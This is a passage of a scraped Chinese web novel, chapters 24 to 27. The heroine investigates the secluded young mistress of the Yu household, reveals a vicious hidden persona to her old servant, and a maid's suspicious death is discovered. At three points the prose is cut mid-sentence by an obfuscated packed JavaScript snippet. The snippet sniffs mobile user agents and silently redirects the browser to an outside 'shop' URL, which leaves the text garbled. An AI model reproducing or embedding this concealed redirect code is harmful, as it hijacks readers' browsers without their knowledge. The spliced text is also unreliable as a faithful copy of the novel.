已是黄昏后，橘红色的晚霞铺在院前。 老太君转回脸来，盯着许玟素，满是压不住的怒意。 “你到底在闹什么！” 声音压得低，却比方才那句厉喝更让人心慌。 许玟素手里的斥棒被婆子夺了去，人还梗着脖子，胸口剧烈起伏。 老太君往前迈了一步，目光越过她，落在她身后的院门上，那扇门紧紧闭着，里头静悄悄的，一点声息也无。 她攥着拐杖的手紧了紧。 院里的事，不能走漏半点风声。 “我嫂子到底怎么了！” 许玟素气得浑身发抖，因而嗓音也是发哑的。 倒叫老太君心疼不已，道：“她？她能怎样？好端端的在屋里养着呢！你先顾顾自己。” “为何府里从没见过她？”许玟素不退，“为何连接旨的大日子她都不露面？” “病了，病得重，大夫说不宜出门。” “她不是病了！” 许玟素一字一字说得分明： “她是被你们关起来了！就因表哥那档子事！” 老太君霎时慌神，倒像是印证了许玟素的猜忌。 许玟素更痛心了，尖声喊道：“怎么可以这样对她！怎么可以啊！抢了她的丫头去，还要将她关起来！” 她一把攥住老太君的手，嚎啕大哭：“外祖母！母亲、母亲曾也是这样啊！当年在京都，那些人也是这样对她的！回到鄂州，你们怎么还能这样对别人！” 这话扎得太深，老太君脸色白了白。 黎姣姣听不下去，上前一步，将许玟素揽进怀里。 她挡住许玟素的脸，对老太君道：“想必这里头有误会，少夫人若真是病重，还是请大夫好生瞧瞧才是。” “至于雀娘……”她顿了顿，“她只是心善，毕竟她……她也是要出嫁的。” 老太君先是一怔，旋即长长叹了口气，眼眶竟也有些潮。 “你这孩子……”她看着许玟素，又看向黎姣姣，“当真是误会了。那孩子她……她现在确实不便见人，可决不是你们想的那样。 雀娘，外祖母保证，我们家绝不会做那等下作事。你也不会再遭遇那样的事，不要因为你母亲……便事事都往那头想，因噎废食，何苦来？” 许玟素执拗地不愿相信，老太君也坚持不肯让步。 僵持间，枕流居的门开了一条缝。 一个小厮侧身挤出来，快步走到许玟素跟前，躬身递信：“小小姐，少夫人亲笔，请您宽心。她还说，多谢小小姐记挂，她当真无碍。” 许玟素并不信，势必要见到人。 “老太君。”黎姣姣转向一旁面色沉凝的老太君，语气温婉，“这般僵着也不是法子。不如请少夫人写一件只有她自己知晓的私密事，咱们拿去查证。 若对得上，自然证明少夫人好端端的，只是不便见人，不过，想来也不会对不上。” 老太君看了她一眼，还是点了点头。 又过了半盏茶的工夫，门缝里再次递出一张纸条。 许玟素抢过来一看，上面只有一行小字： “可去寻东郊福女史求证。她留于鄂州一事，唯有我与午女官知晓。” 24. 东郊探查 "谢老爷买糖，祝老爷蟾宫折桂、一举高中！" 锦袍男人接过小厮递来的糖块，被卖糖小娘的话逗笑，“好机灵的孩子，肃文，你得学学，还没个孩子会说话。” 被称作肃文的人干巴巴回道：“少爷若是歇息够了，咱们便早些赶路吧。” 男人背身站立城门前，他捏紧手掌，将糖块碾成细末，连同话语，散落在风里，“可惜，鄂州没能乱起来，走吧，回太原。” 两匹骏马飞驰往北，与黎姣姣回城的车驾错开，马蹄弹起尘土阵阵，惹得春苗不快，“好姑娘！也偏您较真，连着三日都往那糖厂去瞧，日日被这风沙吹，可别将脸吹干了。” 还在沉思中的黎姣姣一愣，伸手碰自己脸颊，是有些干燥了，她慌了神，忙对春苗吆喝，“哎呀哎呀！入夜可得替我多抹一些面膏。” 两人风风火火回了院，早有许玟素坐着等，见两人着急忙慌样子，急急迎上来问：“怎么？出岔子了？” “你来了？” 黎姣姣一边搭话，一边脱下外袍，又招人打水来净手，还不忘许玟素，道：“你放心，这几日是我亲自去瞧的，没错了，午女官留了个小侍女在厂里，正是福女史。” 许玟素如释重负，长叹，立马替黎姣姣收拾起来，嘴里轻快：“总算弄明白了，差点误了表哥和嫂子。” “这下总信了吧！”黎姣姣没好气，抬手指自己的脸，“瞧瞧！” “好姐姐，我只瞧见姐姐花容月貌！” “许小姐！我们姑娘替你受累，脸都吹干了！”春苗粗声。 许玟素求饶：“我叫人送上好的面膏过来，这事若不是您亲去查证，我哪敢信啊！” 她伸头又悄悄在黎姣姣耳边低语：“那日，我真是在院子瞧见表哥一人，白氏从家里带来的那个侍女，寸步不离地伺候他。他！他还去摸那侍女的脸啊！。” “行了！你快停了话吧。” 黎姣姣擦干手，坐到梳妆镜前，脸几乎贴上铜镜，左转、右扭，没有发现细纹，才满意地往后靠了靠。 刚松了口气，镜中突然多出一张大脸。 她吓得身子一歪，回头就见许玟素不知何时凑到身后，鼻子都快戳到她脸上。 黎姣姣拍着胸口，没好气道：“你又要如何！” 许玟素却笑嘻嘻的，一屁股挤到她旁边：“我就是奇怪，为何府上对白氏的存在闭口不言，甚至因这事外祖母还来训斥我。 依我看，无非是嫁来的媳妇受尽这一家子的搓磨！我若不帮她，日后难保我也落得这个下场。” “好了！又说气话。” 黎姣姣拉过许玟素，拢住她的手，温声：“我知道你心善，所以才帮你走这遭，现在确认了院中那人就是白氏，她或许真是病了，毕竟一直要紧的都是你表哥的考试。” “再者。”黎姣姣抿嘴，“她不是冲喜进来的吗？你表哥腿好了，说不定……” 两人对视，皆是吓得一激灵。 “我胡言乱语罢了，这府上有你表哥这样的人物，自然是百般顺遂。” “是了是了！”许玟素唉声叹气，“为了他，全府都不安生，就因为他是府上唯一的男人。” “你再说这种话，我也不要理你了！你的婚事，难道府上就不看重？难道老太君就少操心了？” 许玟素噎住，不敢再惹黎姣姣动气，她家风清白，从小长在苟太太膝下，因此行事作风颇有苟太太的影子，一贯的良善却又古板。 “姐姐，我可不是说笑。” 许玟素正色道：“这婚我铁了心不要了。我已经交了保书，就等这月下旬，参加山南的女学士考试。家里若是不允，我就偷偷跑去，姐姐若也有这个心思，咱们一道去。” 放了话，许玟素一溜烟跑出院子，生怕又得几句教训。 黎姣姣摇头，不做阻拦。 “春苗，将门关上，说我今天累了不再见客，然后把字帖拿来。” 依话，听绿阁从外至内，一层层门锁落下，春苗掩上房门，手端木盒放置书桌上。 黎姣姣站在桌前，高挽广袖，净手、焚香，从木盒中取出字帖、抄本。 “姑娘不是打算不考了吗？怎么还写字？” 是了，黎姣姣真真切切放弃了女学士的考试。 这三日，黎姣姣乘着于府的车马，大剌剌往返于东郊与城中。她说是为白嘉园而来，福女史便放了心，由着她各处瞧。 东郊糖厂占地不大，但四周还有一片空地等待修建新房。 福女史，待资用充足，而后再做计划扩坊增灶。 现四方厂房内，布局井然。 门边两架青石榨槽，槽下是一排木桶，里头盛着新榨的蔗汁，泛着淡青色的沫子。 靠里砌着半人高的锅炉，膛火正旺，热气蒸腾。锅炉边沿引出几根粗陶管，弯弯曲曲通到一旁的晾晒台，用来引热气，好叫糖浆凝得快些。 东西窗下各支着十几副竹架，架上一排排糖霜，有的刚成型，有的已结了细密的砂粒。 墙角码着数十只木桶，桶口封着油布，布上压着青石，凑近了能闻见隐隐的奶香。 黎姣姣纳闷，她便直问，牛乳金贵，放在厂里难不成跟制糖相关。 福女史眨眼一笑，并不作答，转而提起状元糖，她说这是关键。 作恍然大悟状，福女史随即补充，说是光靠牛乳是不成的，还得往里添倒别的。 “好聪明的法子，是谁想的？竟会把牛乳倒在糖里，想来两个都是稀罕物，也不怕浪费了吗？” 福女史回，是白嘉园的主意。 她以为二人真是亲戚关系，熟稔过后，也便口无遮拦、心直口快，自然任她是想不到，站在她身边的正是状元糖背后的东家。 “那城中的状元糖，也是你们暗中做的？” 福女史摇头，提起此事，她显然有了怒意，“不知是哪个走漏了方子。依我的性子，定要揪出此人，惩一儆百！ 可白小姐却说，这是好事。说什么状元糖名扬四方，对咱们糖厂也大有裨益。她又说糖是日用之物，眼光要放长远些。我瞧着，这‘长远’二字，都让状元糖抢尽了。” 黎姣姣不动声色，低头理了理袖口，随口道：“还以为少夫人病得起不来，没想到她倒时时关注城中事呢。” 福女史下意识回答：“她没病啊。” 她随即愣住，似是懊恼，嘴唇动了动，像是想补充什么，终是没出声。 黎姣姣贴心圆场：“想来是我以为错了，女史别放在心上。” 她又问福女史一些家常琐事，两人一言一语聊得投缘。 待日头偏西，福女史站住脚，拉着黎姣姣的手，却还不肯松开。 “下回出了新糖，我让人给你捎些去。”她晃了晃黎姣姣的手，“你尝尝，比外头卖的那些如何。” 黎姣姣笑道：“那我可等着了。” 福女史点点头，又看她一眼，这才慢慢松开手，却还在叮嘱：“你若得闲，便来寻我说说话。我一个人在这边，也怪闷的。” 黎姣姣应了，转身走出几步。 突然，空中飘过三声钟鸣，接着喷涌出幼童地欢呼。 “这是？” “是孩子们下学了，还没引你去见呢，就是那间屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349369|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。”随她手指方向，远远有间矮屋，“是个学堂，十多个孩子在里头上学。” “学堂？” “是的，但不是学诗书，就是认个字、学点算术什么的。” 孩子们呼啦从面前跑进糖厂，两三个女童紧紧挽手相伴着跑。 “这……这是女孩？” 福女史还以为黎姣姣震惊男女同室，说：“都是半大孩子，倒也没有防备。” 黎姣姣点头，除了微笑不作它话。 “那我便回去了。” 思绪又回到书桌前，面前是铺开的《女诫》，前段时间黎姣姣偷偷备考，便顺手将这书抽出来了，她卷起来扔到一边。 提笔落纸： 难民进城，分屋、佃田、进厂做工。 一间屋、一份工、一口粮，连孩子都能进学堂，一连套下来，竟把人安排得妥妥帖帖。 难怪鄂州是境内唯一没有因难民闹出乱子的地方。 这一遭走下来，她清楚，这些事的背后都是午女官的手笔。 她们打着太后的名义，做的究竟是什么事？ 突然，黎姣姣背后发凉——女学士，真是去修书的吗？ 念及此，她顿住，为了自己无端的猜想，真要放弃这条女子能做官的路？ 难得的机会，如真是修书，那以后不再会有招考的机会。 鬼使神差，她耳边响起一句话—— “昔日女帝在时……” 不对，这番惠及民生、辐射商业。 太后在鄂州的布局与昔日周女帝不谋而合。 决不会是巧合。 自己独善其身最好，不要掺合残党，也不应贸然投身太后。 大乾是如何立朝，她听父亲说起过那些血腥场面。 女子、皇权——是一剂毒药。 黎姣姣只想大富大贵、肆意活着。 这样简单的心愿，不该搅入大人物的斗争之中。 不过，白女究竟是何人物，黎姣姣越发好奇，她们之间虽住同一屋檐下，但丝毫不了解她。 该如何了解她？ 天涯共此时，人人心不一。 四月初的鄂州贡院，春寒未褪。 于盛奕坐在内屋，他决心要与普通学子一同参考，但也不能抗旨，于是韦侍郎便提议，不如叫他在另一处单独考，考卷不作正式评分，这事也不被他人所知。 他拿起考卷，扫了一眼第一题： “《礼记·月令》……《尚书·洪范》……请以三代故事明之。” 他硬着头皮往下看第二题： “鄂州濒江带汉，商贾辐辏。今欲增课税以实府库，然恐伤民力；欲减课税以惠商贾，然恐亏国用。问：轻重之术，何以两全？” 他握着笔，手心开始出汗。 第三题，诗赋： “赋得‘江天一色无纤尘’，得‘天’字。” 时间还长，而他，一个字都写不出来了。 日头从窗棂移到正中，又渐渐偏西。 直到天色彻底暗下来，他起身，推开门。 出门，他在贡院门前站了很久，似乎幻听到窸窸窣窣的写字声。 他身后的暗处立着两人，前女后男。 “太后娘娘真要用他？那试卷答得一塌糊涂，怕是刚开蒙的幼童都比他学问好。” “你我学问好，能救关内、河东的难民吗？流亡到关内道的难民，还没能进太原城，就几乎被杀干净了，护国将军一派还上书请功，可你看鄂州……” 两人不再言语，静静瞧着—— 于盛奕慢慢蹲下身，把脸埋进膝盖里。 25. 闲适散心 一连三日，府试结束。 黎姣姣坐在书桌前练字。 她听说于盛奕被结结实实关了三日，待鄂州放榜后赴京。 自从许玟素在府上闹出一场乌龙，自觉丢脸，又加之女学士笔试在即，因而是闭门不见客。 三位长辈仍旧在家庙祈福，谢绝俗尘事。 偌大的于府，各过各的，管家之事兜兜转转竟交到黎姣姣一个外姓女手上，不过马红翠也出府了，她才没这份心力操持别人家事。 “今儿天气不错，咱们出去逛逛吧。” 一听主子有意出门，春苗连说好，她还特意翻出一对绒花插在发髻上。 “这样好看。” 黎姣姣托腮，笑吟吟地看春苗打扮。 道：“镜花楼送的那些，你有喜欢的都拿去使。” “那是给姑娘的！也便只有姑娘才值得那样好的，我捡些次的用，叫姑娘的眼睛馋一馋。” 她一愣，才反应过来春苗说的是秀色可餐，黎姣姣乐道：“了不得，我们春苗如今也是才貌双全的好姑娘了。” 和煦日光里，院里常有些温馨日子，只要不触碰到自己的底线，黎姣姣乐得当个随和的主子，春苗跟着她这些年，虽没在她心里占多重的分量，却也比旁人得了更多的宽容。 “姑娘，咱们要去马大婆那边吗？” “你想喜乐两个孩子了？” 春苗摇头：“我是见姑娘又烦闷这府上的家事了，不如还是叫马大婆来做。” 虽然她宠爱喜乐两个丫头，可她心里，黎姣姣的事永远是第一位。 黎姣姣不置可否。 踏春光，两人来到花花糕点。 马红翠一见熟悉的软轿，便放下高挽的衣袖，将围裙拆下，招呼两个小丫头，“快出来，是姑娘来了！” 前店是一间临街正房，作售卖、接待；门脸悬挂一块旧木匾，写着“花花糕点”，字迹朴拙；檐下挂一串木雕糕饼模型，随风晃动，老远就能看见。 “真有意趣。”黎姣姣满意点头，面露微笑，问：“这字是谁写的？” 马红翠指着那块匾道：“有个老头子，七八十岁来还要来考官，买糕点时只掏得出些个零碎铜钱，便也不要钱，让他写个牌匾抵了。” “姑娘往店里瞧！”马红翠殷勤地迎人入店。 店里三尺宽的长柜台，上摆三层糕点架，柜台前放两条长凳供客人歇脚；糕点架下层放的是胡饼、蒸饼，中层是时令的清明糕，最上层放各式糖制小点。 黎姣姣好奇：“糖也不值几个钱，怎么放这么高？” 旁边溜达的春苗莞尔一笑，抢话：“我看啊，是防家贼的！” 跟在她后面的两个小丫头竖起耳朵，立马叽叽喳喳地追着她闹。 马红翠无奈一笑，道：“是了，小丫头够不着上层，正好防止她们偷吃。” 黎姣姣也是掩面笑起来，她打趣：“既然有你管了，我也不做坏人拘束她们吃糖，春苗，去上面拿两个碎糖块给她们。” 春苗应声，手举得高高，逗弄小丫头道：“可是姑娘来了你们才有糖吃，该说什么？” 喜丫头、乐丫头一溜烟跑到黎姣姣面前作鞠，甜甜道：“多谢好姑娘！” “吃吧吃吧！” 马红翠笑骂，随机又引黎姣姣往后院去。 后院正房是大厨房，歇息的厨子和小工在墙根下坐着纳鞋底，见东家到来，忙起身，腼腆得手脚都不知道该怎么放。 “女厨娘？” 黎姣姣惊讶。 马红翠便解释：“先前帮成衣铺子找工，会做衣服的不多，但能做点心的不少，于是就要了她们三个，月钱给的不多，包吃包住，她们也手脚麻利。” 再看向墙根下那三人，黎姣姣笑道：“你们莫看马大掌柜说话凶，还是替你们着想的，她同我讲了，待大家做熟了、店里生意好了，都是要加工钱、赏红利的。” 三个老实妇人，脸黑红，听到这消息，倒冒出点绯红来。 进到厨房。 两座炉灶还是温热的，余留甜腻的香气，锅边摆着一口大蒸笼、一张揉面案板、案板一角还有一小块和好的面团。 马红翠佯装抱怨：“喜乐两个丫头就爱跟着厨娘做面团子。” 后院东西两侧各有两间厢房。 西厢是库房。东厢房作三人的起居，只简单床榻、衣柜、一张小桌。 走了一圈，黎姣姣坐在东厢房内歇息，不大的小桌，放了一壶茶和一碟点心拼盘。 “春苗，你出去跟两个丫头玩一会吧。” 屋里只剩黎姣姣和马红翠两人。 “姑娘也尝尝店里的手艺。” 马红翠将点心往主子手前推。 黎姣姣伸手拿，每样都咬了一口，均是香甜可口。 她长叹，带着庆幸，道：“这店你经营得极好，一进来，我便觉得心情好多了，各处也收拾得利落，你的本事要比季华强多了，她那边靠个季鲜儿强撑，一去还是觉得人乱、东西也乱。” 马红翠只是笑，说：“镜花楼做的大生意，我们比不上，但幸好两家铺子都能给姑娘挣钱。” “你倒是，越活越……” 黎姣姣想到厨房里那块面团，接上话，“越松软，脾气、计算都是没有了。” 马红翠赔笑，拿不准主子何意。 “好话，夸你呢。” 指尖搓动，将那些残渣甩下去，极粗鲁的动作被黎姣姣做得依旧赏心悦目。 她很会将自己的一举一动都包装得美丽、柔弱，在表露的端庄大方之下隐约泄漏出一丝蛊惑味道。 “若真在苟府里继续待下去，你说我们会怎样？” 黎姣姣没头没脑突然问道。 马红翠面上依旧带着谄媚的笑，背后却生了冷汗。 她恭维道：“姑娘自然还是锦衣玉食，您毕竟……” “我毕竟是父亲的好女儿，苟府除了我，谁还能嫁出去给他换前程呢。” 马红翠一窒，不敢呼吸，她心扑通扑通，越跳越快，越跳越往外挣扎，要跳出胸膛、跳到主子的手上，那颗心在求着被蹂躏、被碾碎。 “这么紧张作甚？” 黎姣姣端茶，抿了一口，呸了一声，柳眉拧动，她啧舌：“难喝。” 好似变了一个人，娇柔之态退去，恶意流动在脸上，那张观音面，阴冷而狰狞。 但马红翠知道，这才是苟姣姣的真面目。 那张脸不是第一次露出这种神情，是在什么时候？ 从她察觉到，苟士卿有意将她嫁出去，只为在光禄大夫的位置上更进一步。 于是，苟姣姣抓住党争的风声，漏给太子一派的贵女，看似不谙世事的娇小姐错说了话，只有马红翠知道，苟姣姣计划要整个苟府的没落给她添妆。 她不在意自己的婚事，更不在意自己嫁给谁，她嫁谁，对方都会是世家大族，以苟姣姣的手段，嫁过去后未免不能做个风风光光的主母夫人。 苟姣姣说她气不过，气不过嫡少爷等着科举、庶少爷等着经营家业，只有她等着嫁人。 苟姣姣一向爱与几个兄弟争风吃醋，掐尖要强得很，马红翠不解，男人和女人本不能相比较啊。 不过，再大逆不道、罔顾人伦的事，马红翠都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349370|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要照主子说的去做。 马红翠不能忤逆，她已经背叛过主子一次，残生都要为自己的背叛赎罪。 于是，她如约在京都郊外的庄子上等，等自己的主子计成——苟家被灭门——之后施施然脱逃。 结果太子谋逆，京都被血洗、屠尽，也不知掩埋了多少诡计。 是天意吗？她果真脱身来到鄂州，清清白白的成了于府的表小姐——黎姣姣。 在自己的老仆面前，黎姣姣也不做什么姿态了，啐骂起来，无非是于府那摊子荒唐事，又说管家之事累着她了。 “不如你回来，于府的利钱不比两件铺子差。” 黎姣姣得意，像一个吃到糖块的稚童，她拍手，道：“这样好，免得我累死在于府了，这宅子风水不好，女人都是疯子。 男人嘛，也多余活他一个，不如早死了，一个废物瘸子，得了圣旨又如何，只怕拿脑子作药引，现下一点本事也没了。” 马红翠自然不愿，却不敢拒绝，只好顺着主子的话，一点点替她考量： “在府中有我们常用的一套人，姑娘有事交待她们做也是一样的，再过几年她们活契满了，您还可以买了她们，或继续放在于府，或拿出来使用。 再说三个老货，只是迂腐，姑娘何必顾念她们，许小姐不日要出嫁了，姑娘与她不同，您是有大福气的人，自然不受那后宅蹉跎。 大少爷嘛，正如姑娘所言，不过是个多读些书的废物，再者，他是男人，也不与您有嫌隙。” 一番话下来，黎姣姣像似被说动了，她问：“喜乐两个小东西，就一直在店里？” 马红翠心下警惕，面上不显，老实点头。 “我前一阵去东郊，那边孩子都在上学堂，女孩也能读书，不如我让两个小东西也去读书吧。” 孩子能读书，马红翠哪有不答应的，只是她却说：“两个贱婢福薄，哪能让她们去呢。” “我说能就能。” 黎姣姣目光灼灼，面带蛊惑的笑意，眼里恶意都要凝成实打实的毒针，嗖嗖刺向马红翠，她说：“就看你能为她们付出什么了。” “你要是跟我回于府，明个她们就能去学堂。” 马红翠摇头，而后好像反应过来，面上是被戳穿的心虚，她一张老脸，拿眼睛东瞟西瞟，像极了唱戏的小丑脸。 逗得黎姣姣哈哈大笑，笑够了，她擦拭眼角不存在的泪痕，道：“见你还是这般自私，我当放心了，老东西，你记住了，你不该有良心的，不该！” “记住了，就是装，你也得装出这样子，别在我面前演什么慈爱一家人，不恶心吗？老东西，你不恶心、不怕吗？ 是你杀了她们生父，抢了回来养，牢牢记住这一点，你是她们的杀父仇人，你就该时时提防，说不定有朝一日，你好好养大的两个贱婢就站在你床头，一人一把刀，往你心里捅。” 黎姣姣眉眼弯弯，“就跟你杀那男人一样。” 马红翠麻木地听，垂下眼，不敢看主子疯癫扭曲的面容，她不该是那样的面容。 “老奴定会将姑娘的话铭记于心。” 拍拍手，黎姣姣心满意足离开。 后院里，阳光照得暖烘烘，不知哪里吹来的柳絮，飞在院中，春苗带着两个孩子追着那团轻飘飘的、幻有幻无的柳絮玩。 “好孩子们。” 黎姣姣站在阳光下，面庞如玉，她一手摸一个圆滚滚的小头，轻轻地说：“你们也别忘了常去季娘娘那边玩，记住了，有人欺负你们，只管来找我。” 两个丫头依偎在主子腿边，重重点头，脸上并无笑意，幼童黝黑的眼珠满是深沉。 26. 竹林之死1 清闲生活转瞬即逝，四月初九一早，一声尖叫划破于府宁静—— 东边崇文书屋死人了。 代行管家的黎姣姣自然担不起这个责任，赶忙差人去请老太君，又惊动了两位太太，最后连许玟素也被拉出来了。 发现尸体的小厮身体抖成筛子，一句话翻来覆去说：“太惨了，太惨了。” 待护卫探查回报家庙，众人光是听一耳朵已是倍感恶心。 死的是菱丫头，家生的婢子，在崇文书屋边上的竹林处被发现，那片是小块泥潭，一头扎进泥里，半截身子还被湖水冲着。 “去的时候，人浑身湿透了，满是泥污。” 她约莫死了有一夜，身体胀得发白、发飘，衣裙包裹着、是死死地粘牢在身，脸上有青青紫紫的大斑。 “别的小人也没敢细看，只是听郎中说，她样子像是自尽。” 何郎中，正是府上所谓治好于盛奕的白胡子神医，他含胸垂头，说话斯斯文文，却有一股毋庸置疑的味道。 他观其腐状、体肤僵白、淤青浮于表面，是死后造成，又无其他明显伤痕、或瘀血处，故断定是投湖自尽身亡。 老太君略微思索，拍板：“此事断不可报官。去找她老子妈，府上给厚葬埋了吧。” 许玟素不解：“外祖母为何不愿意报官。” 依她看，报官是最好的主意。 老太君摇头不语，黎姣姣却懂为何，她拉过许玟素悄悄解释。 道：“你表哥……” 才刚说三个字，许玟素炸毛了，忿忿道：“这也要顾及他、那也要顾及他！好了，现在人命官司也抵不上于大少的前程重要了！” 但许玟素只是小声抱怨，她正悄悄备考女学士，也不想再跟老太君闹不快。 “老太君，桂嬷嬷过来了，她是菱丫头的干妈。” “怎么是她？” 老太君皱眉。 桂嬷嬷人还没到，哭声早就铺天盖地传到堂内。 老太君手上捻动佛珠，动作不停，半阖眼，并不作声。 人才跨过门槛，噗咚跪到地上，开口就是：“老太君要替我做主啊！我是府上的老人，我爹是当年的火夫、我男人是……” 二太太一脸厌恶，打断了她的哭诉，“你也别说这些，府上谁没个爹妈，谁死了也都会体恤，亏你还是有头脸的一等嬷嬷，闹这番做什么！菱丫头是自尽的，这样晦气事，我们没治罪你就不错了，还要什么做主。” “不！菱丫头不是自尽，她定是被人害的啊！” “你可别乱说，何郎中已经查过尸体，料定她是自尽。” 桂嬷嬷不信，依旧哭天抢地，口口声声道菱丫头是被害的。 老太君发话：“既然你说是有人害她，便仔细说说吧，你是义仆，我该给你些体面，可若是你胡搅蛮缠，那我也不饶你。” 桂嬷嬷一把鼻涕一把泪，说起家里的糟心事来。 菱丫头今年十六，原在大少爷院里伺弄花草，后来被派去后园种菜了。 “前几日，这死丫头偷偷拿了半角银子回来，我当是她从哪里偷的，结果她说是少夫人身边翠翠给的。” “怎么好好的又攀扯到少夫人身上了。” 老太君睁眼不耐，显然极不愿意提起白氏。 “老奴不敢随意攀扯主子，当日我也骂了菱丫头，可她却说，是撞见了……翠翠与外男私会，所以翠翠才会拿银钱堵嘴。 这般大事，本应该禀报主家，可她舍不得银子，就……就作罢了。 可今日，我家菱丫头却死了，说她是自尽，绝不可能！昨个，我们还一块用饭、还说、还说她要存钱，她怎么会自尽呢。” 这番哭诉，众人听了面色不一。 许玟素面露愤怒，她本就对不报官的处理不满，见现在还别有内情，更是想要细细查。 她问：“既然你们昨夜还在一块，那她什么时候出去的？又去哪里了？一夜没回来你也没去找？” 桂嬷嬷手背抹眼睛，又拿衣袖擤鼻涕，委屈道：“我们娘俩没住一块，她吃过饭就兴冲冲出去了，我也没多问。” 二太太不耐烦，仿佛这个丫头的死只是一桩麻烦事，道：“我还不知道你？平日便是吃酒打牌，扯起谎来是惯事。” “老奴……老奴今日所言若有半句谎话，便叫我那死掉的男人们永世不超生！” “他们死都死了，还得替你背誓。”二太太啐骂，扭过脸也不搭理她了。 许玟素又插话：“那你再想想，菱丫头有什么不对劲的地方？” 桂嬷嬷眼睛滴溜溜转，突然一拍脑门，高声：“是枕流居，菱丫头昨夜是往枕流居去了！因她出门时蹦蹦跳跳又哼着曲，我当是她被谁哄了去，于是在她出门时，跟在后面瞧了一眼，就是往南，是往大少爷院里去了。” 桂嬷嬷是二太太院子里的一等嬷嬷，二太太的倚云居在西苑，往东是内堂再并东苑，往南便是出外厅。 家庙的空气微妙地静默下来。 枕流居与外厅，一路相连。 大太太震怒，拍桌：“满口胡言！” 她强硬道：“她是自尽的，有郎中瞧过，你胡乱说些攀扯的话，难不成还要信你？” 老太君听了，未置一词，摆明是支持大太太的决定。 虽说桂嬷嬷表现得奇怪，但黎姣姣倒是觉得，一切都太巧合了。 白女、她的丫头、菱丫头的死。 巧合在许玟素闹不出白女之后，又来了相关的官司，倒像是——逼着白女露面一样。 可这府上，除了她自个，还有谁会这样动作呢？ 许玟素吗？ 就听许玟素开口：“大舅妈……” 黎姣姣及时拉住她，提醒这场面还有苦主在。 许玟素闭上嘴，虽然她觉得此事有蹊跷，可家族体面优先，便是有错，也不能在外人面前显露，枕流居前那一遭，她已经是错了。 黎姣姣开口：“我见桂嬷嬷也哭得可怜，不如先让她休息一会，我们再商议拿出个结果给她。” 人被拉了下去，虽是正午，家庙里依然烛光烁烁，于家的四个女人，心思各异。 黎姣姣又无奈张嘴：“承蒙诸位长辈瞧得起我，放心让我管家，可惜我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349371|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没顾好，还请长辈们责罚。” “这事跟姐姐有什么关系？大舅妈，我就觉得奇怪，不说嫂子病重、表哥本就无心管家，可你和二舅妈，怎么也躲进家庙凡事不管了？” 老太君训斥她，“胡言乱语！你就是这样跟长辈说话的？” 许玟素认错倒是利落，可她还是疑惑：“不管就不管吧，现在府里都闹出人命了，既然翠翠有嫌，将她带过来对质，这也无碍嫂子养病吧。” 二太太面露松动，她将目光投向大太太，而大太太坚定地反对。 “桂香是府上的老人，这些年偷奸耍滑，昧了不少家用，我此前懒得管这事，可真要追究起来，按家法处置，她也是要还一条命来的。” “您的意思，是要硬压这桩官司了？大舅妈，她可是上了族谱的义仆啊！” 许玟素简直不敢相信自己的耳朵。 僵持之下，老太君开口了：“去枕流居问少夫人的意思。” 一个婆子腿脚麻利往外奔走，一刻钟后，她回来了，身后跟着一个人，正是翠翠。 “见过老太君、太太、二太太、表小姐。” 翠翠行礼下跪，但话里自若，丝毫没有心虚慌乱。 “你可知叫你来为何？” “听说菱丫头投湖自尽了。” “你既已经知道了，就老实交代吧。” “奴婢从未见过这位姑娘，不知道她因何故自尽，更不知道大太太要我交代什么。” “不要以为少夫人就能够包庇你，既然没见过她，你怎会给她银子呢？”许玟素插话。 翠翠面上仍是一无所知，拒不承认。 大太太盯她死死地瞧，半晌，语气疲惫：“母亲，放她回去吧，事情是不是她做的，又有何重要的。” “大舅妈！” “我的人不会做这种事，你们放心。” 家庙大门被推开，来人竟是——白嘉园！ 她瘦极了，瞧着像是大病初愈，强撑着体格过来给自己的婢女撑腰。 见她到来，黎姣姣终于能细细瞧她。 像一纸薄薄的画，风一吹就要飘走。 步子走得慢，却稳，身型莫名眼熟。 眼窝深陷，底下两团淡淡的青影，脸色苍白得近乎透明，唇上也没甚血色。 她的脖子纤细，锁骨从衣领边缘微微凸起，像是两座小小的山。 她走到翠翠身边，停下，搭上翠翠的肩，手指细长，骨节分明，稳稳地、有力地按住。 然后她抬眼看向主位，那双眼里有审视、有戒备，还有股说不清的气势，竟像一个上位者。 黎姣姣心里慢慢浮起一个念头： 她不一样了。 老太君还没反应过来，大太太已经站起来，声音带着惊吓，都变了调子——“你！你！你怎么出来了！” “我再不来，你们就要将翠翠屈打成招了！” 在场的人都是一愣，什么叫做屈打成招？ 她再晚来一会，只怕要跟翠翠的回程撞上了。 翠翠脸色一变。 “不好！是有人要引您出来！” 27. 竹林之死2 白嘉园一踏入家庙，便牢牢抓住众人的视线。 直到翠翠一句话砸下。 